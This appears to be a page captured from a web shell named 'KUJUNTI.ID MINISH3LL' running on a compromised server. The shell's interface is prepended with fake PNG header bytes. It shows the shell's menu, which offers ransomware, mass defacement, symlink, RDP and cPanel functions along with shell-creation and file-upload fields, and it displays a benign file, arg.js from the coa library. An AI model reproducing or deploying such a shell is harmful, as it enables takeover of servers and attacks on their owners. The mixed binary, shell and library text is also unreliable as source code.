\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/coa/lib/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/coa/lib/arg.js


'use strict';

const
    CoaParam = require('./coaparam'),
    chalk = require('chalk');

/**
 * Argument
 *
 * Unnamed entity. From command line arguments passed as list of unnamed values.
 *
 * @class Arg
 * @extends CoaParam
 */
module.exports = class Arg extends CoaParam {
    /**
     * @constructs
     * @param {COA.Cmd} cmd - parent command
     */
    constructor(cmd) {
        super(cmd);

        this._cmd._args.push(this);
    }

    _saveVal(args, val) {
        this._val && (val = this._val(val));

        const name = this._name;
        this._arr
            ? (args[name] || (args[name] = [])).push(val)
            : (args[name] = val);

        return val;
    }

    _parse(arg, args) {
        return this._saveVal(args, arg);
    }

    _checkParsed(opts, args) {
        return !args.hasOwnProperty(this._name);
    }

    _usage() {
        const res = [];

        res.push(chalk.magentaBright(this._name.toUpperCase()), ' : ', this._title);

        this._req && res.push(' ', chalk.redBright('(required)'));

        return res.join('');
    }

    _requiredText() {
        return `Missing required argument:\n  ${this._usage()}`;
    }
};

© KUJUNTI.ID